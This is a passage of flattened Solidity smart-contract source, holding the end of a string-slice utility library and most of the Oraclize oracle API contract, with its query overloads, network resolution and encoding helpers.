otherwise. */ function contains(slice self, slice needle) internal pure returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal pure returns (string) { string memory ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal pure returns (string) { if (parts.length == 0) return ""; uint length = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) length += parts[i]._len; string memory ret = new string(length); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } // File: contracts/usingOraclize.sol // <ORACLIZE_API> /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ // This api is currently targeted at 0.4.18, please import oraclizeAPI_pre0.4.sol or oraclizeAPI_0.4 where necessary pragma solidity ^0.4.18; contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id); function getPrice(string _datasource) public returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice); function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function randomDS_getSessionPubKeyHash() external constant returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() public returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ return oraclize_setNetwork(); networkID; // silence the warning and remain backwards compatible } function oraclize_setNetwork() internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) public { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) public { return; myid; result; proof; // Silence compiler warnings } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, 